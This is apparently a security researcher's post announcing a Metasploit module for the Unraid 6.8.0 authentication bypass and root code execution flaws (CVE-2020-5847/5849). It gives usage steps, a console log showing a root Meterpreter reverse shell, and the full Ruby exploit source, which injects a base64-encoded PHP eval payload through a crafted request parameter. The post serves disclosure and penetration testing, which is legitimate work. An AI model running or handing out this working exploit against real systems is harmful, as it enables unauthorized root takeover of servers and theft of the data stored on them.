Following our disclosure of a vulnerability against Unraid, we prepared a Metasploit module to make testing and exploitation easier.

Today, it got merged in the master branch of Metasploit and should reach you out once you update your Metasploit installation.

The module has been tested on UnRAID 6.8.0 without any configuration except setting a root password. Only UnRAID 6.8.0 is affected.

Description

This module exploits an authentication bypass vulnerability caused by an insecure whitelisting mechanism in auth_request.php and then performs remote code execution as root by abusing the extract function used in the template.php file.

Testing Environment

Setup Unraid 6.8.0 according to the UnRAID Getting Started guide.

Verification Steps

  1. Setup UnRAID 6.8.0
  2. Start msfconsole
  3. use exploit/linux/http/unraid_auth_bypass_exec
  4. set RHOST [UNRAID]
  5. check
  6. run
  7. You should get a new root session

Options

TARGETURI : The URI of the Unraid application

Scenarios

msf5 > use exploit/linux/http/unraid_auth_bypass_exec.rb
msf5 exploit(linux/http/unraid_auth_bypass_exec) > set RHOSTS 10.10.0.173
RHOSTS => 10.10.0.173
msf5 exploit(linux/http/unraid_auth_bypass_exec) > check
[*] 10.10.0.173:80 - The target appears to be vulnerable.
msf5 exploit(linux/http/unraid_auth_bypass_exec) > run

[*] Started reverse TCP handler on 10.10.0.161:4444 
[*] Sending stage (38288 bytes) to 10.10.0.173
[*] Meterpreter session 1 opened (10.10.0.161:4444 -> 10.10.0.173:46894) at 2020-03-20 15:26:40 +0100
[+] Request timed out, OK if running a non-forking/blocking payload...

meterpreter > getuid
Server username: root (0)

Module source code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
        'Description' => %q(
          This module exploits two vulnerabilities affecting Unraid 6.8.0.
          An authentication bypass is used to gain access to the administrative
          interface, and an insecure use of the extract PHP function can be abused
          for arbitrary code execution as root.
        ),
        'Author'      =>
          [
            'Nicolas CHATELAIN <[email protected]>'
          ],
        'References'  =>
          [
            [ 'CVE', '2020-5847' ],
            [ 'CVE', '2020-5849' ],
            [ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
            [ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => ['php'],
        'Privileged'     => true,
        'Arch'           => ARCH_PHP,
        'Targets'        =>
          [
            [ 'Automatic', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Feb 10 2020'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
      ]
    )
  end

  def check
     res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
      'method' => 'GET'
    )

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.code == 200
      return CheckCode::Safe('Unexpected reply')
    end

    /\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})&nbsp;/ =~ res.body

    if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
      return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
    end

    CheckCode::Safe
  end

  def exploit
    begin
      vprint_status('Sending exploit code')
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
        'method'    => 'GET',
        'encode_params' => false,
        'vars_get'  =>
        {
          'path'    => 'x',
          'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
        }
      )

      if res.nil?
        print_good("Request timed out, OK if running a non-forking/blocking payload...")
      elsif res.code == 302
        fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
      else
        print_warning("Unexpected response code #{res.code}, please check your payload.")
      end

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end